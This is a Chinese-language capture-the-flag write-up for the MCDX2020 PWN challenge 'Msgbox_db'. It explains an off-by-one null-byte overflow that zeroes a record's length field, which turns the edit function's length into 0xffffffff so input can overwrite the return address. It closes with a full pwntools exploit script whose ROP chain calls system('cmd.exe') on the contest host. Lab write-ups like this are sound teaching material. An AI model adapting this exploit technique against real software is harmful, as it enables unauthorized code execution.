---
# System prepended metadata

title: MCDX2020/PWN/Msgbox_db
tags: [CTF, PWN, MCDX2020]

---

# MCDX2020/PWN/Msgbox_db
###### tags: `CTF`,`PWN`,`MCDX2020`

題目檔案連結:http://gofile.me/6lhQ2/ozVrKjmQs

使用IDA字串搜索找到選單相關字串，連結找到選單處理menu_140048c60()
![](https://i.imgur.com/nUhlMmY.png)
觀察stack變化，很容易看出結構
![](https://i.imgur.com/0MtRW4t.png)
前面的0x28代表字數，後面的1代表這個database有資料，隨後接的0x28個字元就是database中的資料，這裡有個overflow的點，scanf在指定輸入字數時，會送回指定字數加一個空字元，但在這裡的字串處理卻是接收0x28個字元再把結尾改成\x00，導致當使用了完整0x28的空間時，會將\x00寫到下一個database的字數值，因此我們可以將某個datebase刪掉再寫入0x28長度的字串，就可以將下一個database的字數值寫成0
![](https://i.imgur.com/4CWAFNU.png)
寫成0有何作用呢?這時候要看第二個利用點edit_140042432()
![](https://i.imgur.com/ZqEj1Vo.png)
在編輯的時候，scanf吃的字數參數是原有字數值減1，如果編輯到字數被寫成0的database，那可寫入的長度就變成了0xffffffff，即可蓋到return address
![](https://i.imgur.com/6kZfkXo.png)
此題有開nx，做ROP chain，值得一提的是，雖然內建cmd.exe，但因為位址內含0xd(CR字元)，因此會被截斷，我的作法是另行將cmd.exe寫在stack上，因無ASLR的保護，可直接計算stack位址，不須leak，但在不同作業系統下會有不同位置，實測比賽主機為win10，感覺此題應有其他解法。
```
from pwn import *
context.arch = "amd64"

local = False
gdb1 = False
debug = False

if debug== True:
    context.log_level = "debug"
if local == True:
    p = process("./")
    elf1 = ELF("./")
    if gdb1 == True:
        gdb.attach(p)
else:
    p = remote("192.168.11.119",5951)

def insert(Msg):
    p.recvuntil("[db]>>")
    p.sendline("1")
    p.recvuntil("Msg:")
    p.sendline(Msg)

def remove(Index):
    p.recvuntil("[db]>>")
    p.sendline("2")
    p.recvuntil("Which MsgBox?")
    p.sendline(str(Index))

def edit(Index,Msg):
    p.recvuntil("[db]>>")
    p.sendline("3")
    p.recvuntil("Which MsgBox?")
    p.sendline(str(Index))
    p.recvuntil("New record:")
    p.sendline(Msg)
def disconnect():
    p.sendline(str(5))

pop_rdi=0x140049055
cmd = 0x14fe38
system=0x140095483
rbp=0x14fca0

for i in range(10):
    insert(str(i)*40)
remove(8)
insert("cmd.exe"+"\x00"+str(i)*32)
edit(9,b"a"*0x28+b"b"*80+p64(rbp)+p64(pop_rdi)+p64(cmd)+p64(system))
disconnect()

p.interactive()
```


